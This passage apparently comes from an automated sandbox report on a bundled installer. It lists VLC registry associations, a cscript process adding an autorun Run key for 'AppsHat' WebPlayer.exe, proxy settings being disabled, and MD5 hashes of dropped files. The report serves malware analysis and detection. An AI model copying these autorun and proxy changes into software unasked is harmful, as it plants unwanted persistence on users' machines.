[HKCR\VLC.mov\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ape\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlaySVCDMovieOnArrival]
"InvokeProgID" = "VLC.SVCDMovie"

[HKCR\.pls]
"VLC.backup" = "PerlScriptFile"

[HKCR\VLC.mov\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpe]
"(Default)" = "VLC media file (.mpe)"

[HKCR\VLC.3gp2\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mka\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.rm]
"(Default)" = "VLC media file (.rm)"

[HKCR\VLC.snd\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.rec\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.s3m\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mp4v" = "VLC.mp4v"

[HKCR\.caf]
"(Default)" = "VLC.caf"

[HKCR\VLC.a52\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.cda\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.oma\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.xspf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpv2\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.nuv\shell]
"(Default)" = "Open"

[HKCR\Wow6432Node\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.wav\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.aac\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.nuv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.xa\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.vob\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.oma]
"(Default)" = "VLC media file (.oma)"

[HKCR\VLC.VCDMovie]
"(Default)" = "VLC VCD Movie"

[HKCR\VLC.dts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mpeg" = ""

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\VersionIndependentProgID]
"(Default)" = "VideoLAN.VLCPlugin"

[HKCR\VLC.mod\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.qcp\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.dts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m3u\shell]
"(Default)" = "Open"

The process cscript.exe:3432 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"AppsHat" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process taskeng.exe:1784 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake\{79B5A52B-2D58-45F8-8521-C193057A901F}]
"data" = "4D 45 4F 57 01 00 00 00 E4 B7 BD 92 8B F2 A0 46"

The process GoogleCrashHandler.exe:3068 makes changes in the system registry.
The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"uid"
"old-uid"

Dropped PE files

MD5	File path
cc0fb491462a67985d80098814e99d34	c:\Program Files (x86)\App Lid\0e548b74-528b-4597-b8f2-4bc5002d68ce-4.exe
36382453abbd9b2a27185b54ce7677ff	c:\Program Files (x86)\App Lid\0e548b74-528b-4597-b8f2-4bc5002d68ce-5.exe
0888846f892bfb3f11afd645b654bc97	c:\Program Files (x86)\App Lid\Uninstall.exe
2eec9e48dee31d22b0aaddd8988853f1	c:\Program Files (x86)\App Lid\utils.exe
83bb030c71c9727dcfb2737005772c4e	c:\Program Files (x86)\Google\Update\1.3.26.9\GoogleCrashHandler.exe
323cfffdaf253ac65cd194a101be6231	c:\Program Files (x86)\Google\Update\1.3.26.9\GoogleCrashHandler64.exe
e1b44a75947137f4143308d566889837	c:\Program Files (x86)\Google\Update\1.3.26.9\GoogleUpdate.exe
4c02536f4ca35911fb3ea5715f300c57	c:\Program Files (x86)\Google\Update\1.3.26.9\GoogleUpdateBroker.exe
f3b6470da7ce34e559d3ba7365cc909c	c:\Program Files (x86)\Google\Update\1.3.26.9\GoogleUpdateComRegisterShell64.exe
fd98434b6a06fe31a35e4bfbc827b290	c:\Program Files (x86)\Google\Update\1.3.26.9\GoogleUpdateOnDemand.exe
7ca00a58aa808f4b9844c91845910377	c:\Program Files (x86)\Google\Update\1.3.26.9\GoogleUpdateSetup.exe
5f0a3aa68785c49454f56c9f2dda0237	c:\Program Files (x86)\Google\Update\1.3.26.9\GoogleUpdateWebPlugin.exe
5c2593649cf4fe6b9ed6f9a734dbf344	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdate.dll
7d81b54a30e726aaa71aa3623d73b3da	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_am.dll
6038701a5f26f5753e1b8732b2f330bf	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_ar.dll
5cdb279660719f50b5fbbcc02d5960ab	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_bg.dll
971505410e9d0e478819cb0827c29003	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_bn.dll
6c74c327f8a83049694a61ff58e8bef1	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_ca.dll
9eb5998e1281e7ee5d3790ed85dd2f56	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_cs.dll
5dacb582c8460937acec68dfb5b45bfb	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_da.dll
b58a0f9c6101df8ad5cef2676ffd50fd	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_de.dll
276f03206822ef47412678e845ff8767	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_el.dll
18d4bd259cc873e9b3ff4914da172907	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_en-GB.dll
0e16a89d13777ed360969f8064b83864	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_en.dll
249d0dd0b8604b8dc91eca65de5b6561	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_es-419.dll
989eb0563f1ff84edb2bb7f5d0caef3c	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_es.dll
8376de3f4ae6c65fe95329c363c9cdff	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_et.dll
0fc560f4d735c5ebdff0813c31755d60	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_fa.dll
4214765994eea6c441bcf3fbc21d00d7	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_fi.dll
6411443a52288be615738674cfa126ae	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_fil.dll
8e04db132c564e76971aaf8cfb9fce96	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_fr.dll
ce5b672b309103f47af1460f6565883e	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_gu.dll
60b8795924463ade303c092dc02be055	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_hi.dll
6887c86b15606714fa83f2de91d8c11e	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_hr.dll
1de96e0e4b45fc210d7c5b60416e4da4	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_hu.dll
c05c12fa8c0e3bbce8ae3869055f8ca7	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_id.dll
e51a34d003235192c93cc4e44775951a	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_is.dll
77f46c11174c4980789255f099402f51	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_it.dll
ce5c9ac64274aef565162bf1fc9e3242	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_iw.dll
d9f0eb11cb71e0911caf44b4ea0856be	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_ja.dll
ea9c0aa9c317dec2054a3a6dcaad9398	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_kn.dll
a1a1bead7907c3058be9b9ff6fdf80d4	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_ko.dll
0a2b929ffe5e40ade35478f459567130	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_lt.dll
42fc026314618e172ec96195a2cebef8	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_lv.dll
325750335f89997558aac37f039d7dba	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_ml.dll
557b752a331ca5a6e6cca898c2ffe2ad	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_mr.dll
eaf0e2fce930bff40118584566d7ad04	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_ms.dll
8129c53643b8012ae9252122d10f6eb0	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_nl.dll
a8298aec52704ece20c4457670af4d8e	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_no.dll
b65fadc80dad2f6ca1e0c4947e20390b	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_pl.dll
b21a176efe46c16a07e9c146544cc99f	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_pt-BR.dll
c00ac3b8058a4fc2fff4f64dee03532b	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_pt-PT.dll
1c433621eb86b4dee051b0fc25207d02	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_ro.dll
53157ee06503b7204509571fa27a4a84	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_ru.dll
d91d322bb70222be355d8846e66ee940	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_sk.dll
58ab869af216f5e722d37930e4937363	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_sl.dll
00dc6068355939ff8e028a906ef00458	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_sr.dll
73c6820a1943e7965084093f29f8f0e1	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_sv.dll
2ed4747202bd370ed9091297789f8112	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_sw.dll
12aa06d1d43cf2dc4bf9a440c03e9fb0	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_ta.dll
92080b65bea279b768a595cc3f491994	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_te.dll
d6140d394b955117e5a331be3582477e	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_th.dll
21edce3e2260eab2a566b8c0af179457	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_tr.dll
4262e0322f37b3641d4c9d66e4bf12ab	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_uk.dll
199cd4d739119b4339bd7ee0777aa4be	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_ur.dll
89602c37901be0fc0111635742dcee63	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_vi.dll
49118a53f59666aa2f27af738830d767	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_zh-CN.dll
1dc933edeba5dac5e4275d655203a66b	c:\Program Files (x86)\Google\Update\1.3.26.9\goopdateres_zh-TW.dll
98137411b9c632095f919e2ce70b288a	c:\Program Files (x86)\Google\Update\1.3.26.9\npGoogleUpdate3.dll
fff2c9ba6ab0c6f3a290cd3fbcbdf3c0	c:\Program Files (x86)\Google\Update\1.3.26.9\psmachine.dll
c51c9b677c0bf6651b4d0aee60e005a7	c:\Program Files (x86)\Google\Update\1.3.26.9\psmachine_64.dll
580930fd62744f10fcdd5375e201beea	c:\Program Files (x86)\Google\Update\1.3.26.9\psuser.dll
821cc209d61d0ed1f4c86abe0c8a1319	c:\Program Files (x86)\Google\Update\1.3.26.9\psuser_64.dll
7ca00a58aa808f4b9844c91845910377	c:\Program Files (x86)\Google\Update\Download\{430FD4D0-B729-4F61-AA34-91526481799D}\1.3.26.9\GoogleUpdateSetup.exe
7ca00a58aa808f4b9844c91845910377	c:\Program Files (x86)\Google\Update\Install\{2D52D259-4879-496A-86B1-7ACEF326BE4F}\GoogleUpdateSetup.exe
1127390826a9409f6fd7ad99c4d4af18	c:\Program Files (x86)\VideoLAN\VLC\axvlc.dll
7dfb162693ceb4afbb2eb63d0f09d3f2	c:\Program Files (x86)\VideoLAN\VLC\libvlc.dll
81b7512e37e94ec09779f89fe35b95aa	c:\Program Files (x86)\VideoLAN\VLC\libvlccore.dll
3f9f8e0f93d6fa7b7552077a3df171de	c:\Program Files (x86)\VideoLAN\VLC\npvlc.dll
488c560fdc560fa83e9e1d6f5469c841	c:\Program Files (x86)\VideoLAN\VLC\plugins\3dnow\libmemcpy3dn_plugin.dll
2e01a91d4d3c0e1e04fd62040d70f495	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_attachment_plugin.dll
5a5847d7dad7b90c8d7fe5c1be39df3d	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_bd_plugin.dll
f344111f902d663faca92ba33d56f246	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_ftp_plugin.dll
d85839521546692289617932ca678a0e	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_http_plugin.dll
4426916e512cdb8b61d9743daf979eb5	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_imem_plugin.dll
088ec625e783ce38b830c3f9849ba098	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_mms_plugin.dll
c4e9661fe6e0a0e26a8b39765657060b	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_rar_plugin.dll
11822bd64cb8d214be27e91add6f6c2c	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_realrtsp_plugin.dll
69ca5bba77a6845770629a4dd90c5530	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_smb_plugin.dll
0a487c532ee800947e66f6bcb4e470bb	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_tcp_plugin.dll
c257026d8bbc8c93e81f4180087c99fd	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_udp_plugin.dll
2704f1a9b198dd71a6649b751419c995	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_vdr_plugin.dll
119f5e76809df866b6b91d6434d22280	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libcdda_plugin.dll
f188dc9b4aef4bec9265082a6041ff09	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libdshow_plugin.dll
3e2afc8bf3d5be90e8a2510cddbf44f0	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libdtv_plugin.dll
541cdd17eefeb786d840f3d499595d69	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libdvdnav_plugin.dll
27b6267ad6f6f6d83f77fb364cdb4157	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libdvdread_plugin.dll
7475bf1b89b939bb46914a58456ee81c	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libfilesystem_plugin.dll
7f0e90aef2c137f36dfb1380e483204a	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libidummy_plugin.dll
a7b69a8c6f7be60c752ae8440ec51ac2	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\liblibbluray_plugin.dll
ecb5128a56137aa7dd720230deb023ce	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\librtp_plugin.dll
f0a5e4cc2451b10c469830ef68910c7f	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libscreen_plugin.dll
f41ca2d8f54d4a1b9d364e29273ce917	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libsdp_plugin.dll
49f54dbd4a10d5709083624b44e50de0	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libstream_filter_rar_plugin.dll
4a2a5deb44eb1b229cbf2b70083a8a30	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libvcd_plugin.dll
11e5f3dcc2b7dbcda83d0be93cbe0bfd	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libzip_plugin.dll
082d7e6365ecfcebeafd86975b549239	c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_dummy_plugin.dll
ab5b7171e42f47fa067f40c57e622d49	c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_file_plugin.dll
200d16835253bce1e5cdec85787f34d6	c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_http_plugin.dll
9011fadfb818104bfa6d34b6a1004bdf	c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_livehttp_plugin.dll
c35e9d7f99bb2c5f92bb523544be7b28	c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_shout_plugin.dll
d255bd408f310732efe392fbf54d890b	c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_udp_plugin.dll
2452c0ccd7273934d7a7b8a4460bb4ad	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tofloat32_plugin.dll
76df7e3f0bba5164ce4a969d7e131dcc	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tospdif_plugin.dll
95797343308a826985080fd87cdd02b3	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libaudio_format_plugin.dll
9e93d0078644f13d64a6ac178a4cbb05	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libaudiobargraph_a_plugin.dll
fcfe682b27ddb8756abcbfaec54ade9d	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libchorus_flanger_plugin.dll
3901c5681fa2809909d3e670ddd95564	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libcompressor_plugin.dll
0c3d46bb029a9efbcf2caf8a555b4044	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libconverter_fixed_plugin.dll
855eac0ee0ba091d12cf8d6603bbe7cd	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libdolby_surround_decoder_plugin.dll
4c123cad33cee48230b9d48f248634b8	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstofloat32_plugin.dll
5054915aa1068cc351dfe3ce9f4d9018	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstospdif_plugin.dll
457a09eb705555914d9573d705297fa8	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libequalizer_plugin.dll
b48b69095e73f621c159833cf3506260	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libheadphone_channel_mixer_plugin.dll
cd5d67fb809bafa2104cde857f2b5901	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libkaraoke_plugin.dll
84ded40967c5f98fd1b3834b5c239850	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libmono_plugin.dll
4d237ba9df486795c3ed1a933fc6bc3d	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libmpgatofixed32_plugin.dll
4dc4364e38769b24dd9439a6757df12d	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libnormvol_plugin.dll
16b881fa4dd7b8d595554d5f03b11307	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libparam_eq_plugin.dll
52198e9174a775c516b1db88475f0c2c	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libsamplerate_plugin.dll
e5743909fb5e4cb16f925185c2e187fc	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libscaletempo_plugin.dll
b21e70522332396fd7b471a06d9cd713	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libsimple_channel_mixer_plugin.dll
8571259f7305f845bd9cda576e27efd0	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libspatializer_plugin.dll
9f8db453548b1887ffe816a4c29ee2ef	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libspeex_resampler_plugin.dll
596c4f9196e12f8fd2189da5dd5cf51b	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libtrivial_channel_mixer_plugin.dll
20c901b1024fc1f420a135f354eba887	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libugly_resampler_plugin.dll
44f65cd0629b69b81ffa1a185324f05b	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_mixer\libfixed32_mixer_plugin.dll
f8b730483a751c28df26a98527062328	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_mixer\libfloat32_mixer_plugin.dll
143caf86de4633067996caa8984c06e6	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libadummy_plugin.dll
62a1c8033f4bf9aeb3a842b2ef03b0b3	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libamem_plugin.dll
1e709d9bfdf56b72280593db83e463e6	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libaout_directx_plugin.dll
f0df18c32f6939afe8015fff6608e4ba	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libaout_file_plugin.dll
06ed2a7479311365c53159d58b1beaf3	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libwaveout_plugin.dll
a1f04a15086378708738ef10e87cb979	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\liba52_plugin.dll
fb5383b88aff3be139bc4629be0f37c7	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libadpcm_plugin.dll
fb30f0a9368d0e9f05a7c8f0f811ce18	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libaes3_plugin.dll
50298b7e4e340d1e01906c1bf277f28c	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libaraw_plugin.dll
ee7d51b12a06c7af55158442444b85ac	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libavcodec_plugin.dll
c4891e5f9c04bc84070cdf45960f6497	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libcc_plugin.dll
cb9b044ad81544d74b50190393dbb41d	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libcdg_plugin.dll
b9c27b854aeda3fd21b5a89b25e7da64	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libcrystalhd_plugin.dll
fde3cd8eccd734268db52e45f0549879	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libcvdsub_plugin.dll
626e86a7b19c9b241fb8f68a6b4b942e	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libddummy_plugin.dll
7bfda7ad2c3e4e8ae8aab4c0f273d45d	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libdmo_plugin.dll
5833282e7de8de5af90ae9cce1103092	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libdts_plugin.dll
ec5c0e853d0e97a35639af58f03c14f2	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libdvbsub_plugin.dll
65db3ccb337d9be65fb3f6b3b7d51408	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libedummy_plugin.dll
f437be338f7e1b38b923be8c8aa67d48	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libfaad_plugin.dll
1b6933c1d7194eec182616aa357e4b95	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libflac_plugin.dll
62abb7d34d9323504015cb364464c983	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libfluidsynth_plugin.dll
d3df0926f73d71299c7e4684b0abc182	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libkate_plugin.dll
96b60247338cbd2f9115db6a35bf0e33	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\liblibass_plugin.dll
1f0e67383a058785fd3e5f7951dc30f5	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\liblibmpeg2_plugin.dll
8f5c0ef52a5b9aef49fdf5a6e8bc2166	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\liblpcm_plugin.dll
4c04f90195bf8c631386b9c5e72143fe	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libmpeg_audio_plugin.dll
b50acb597b46c8074236a9af6fa3e7fe	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libpng_plugin.dll
5fe5223fdf72e5494e28b6a1267f3b2d	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libquicktime_plugin.dll
ec4f47a1630dc9ca089aeb7a042c82a6	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\librawvideo_plugin.dll
61ba1da04f6a098d28ade9f9658efe02	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libschroedinger_plugin.dll
fbbce2711326173dfa3ebe33ca7495bc	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libspeex_plugin.dll
888a92b4e181167988cc6bb11935767e	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libspudec_plugin.dll
5917391c54d1a3c5be052dd140892ef3	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libstl_plugin.dll
2605031070f1d63555ecac754f02d006	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libsubsdec_plugin.dll
a8c03a626b67f289c844ed3c59d5ed55	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libsubsusf_plugin.dll
825872b84957c66e04c1bcb147aa6f05	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libsvcdsub_plugin.dll
466cfe4216c3ad15089dcdd9c264be01	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libt140_plugin.dll
8a159ec8e6cd85431387bc50e38c46e4	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libtheora_plugin.dll
536cdb1a662fd2a378607ebc5164421a	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libtwolame_plugin.dll
e70cf0ff92602601efb43bf10721a5fc	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libvorbis_plugin.dll
b6f77e2a599ebdae7cf962bb2009561d	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libx264_plugin.dll
3f9915b3acd4964b974c6922657e9a34	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libzvbi_plugin.dll
9f1b132a200448648ae5f0a899919e97	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libdummy_plugin.dll
ec923998448dd5e4943b9c3682893e19	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libgestures_plugin.dll
4753b96ae023d54cfff0293acb0e5b50	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libglobalhotkeys_plugin.dll
f1004437511016ee01db1d0fb0d15213	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libhotkeys_plugin.dll
5d1599e5d788a562b2f1e8b00d2630f2	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libnetsync_plugin.dll
1a285bde8058bd4488d8085c5651977a	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libntservice_plugin.dll
7cea0b1ed24942ef3690fe1821f58afe	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\liboldrc_plugin.dll
4bcea439d874481c6fa65f8913d7a0a6	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libaiff_plugin.dll
0ad0e7ebf5dcba3060dbae5a354881c6	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libasf_plugin.dll
003aec04d21c790f5cdec00b25dce187	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libau_plugin.dll
fdf3956a44f6ff2df309fdde19cdd4a3	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libavi_plugin.dll
85b4abee2dd00660bb125ca9b2910d22	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemux_cdg_plugin.dll
e0d788ce98e094ceebfd31863de6c43b	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemux_stl_plugin.dll
ee00d1a5022c55b513e666f578f7bf63	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemuxdump_plugin.dll
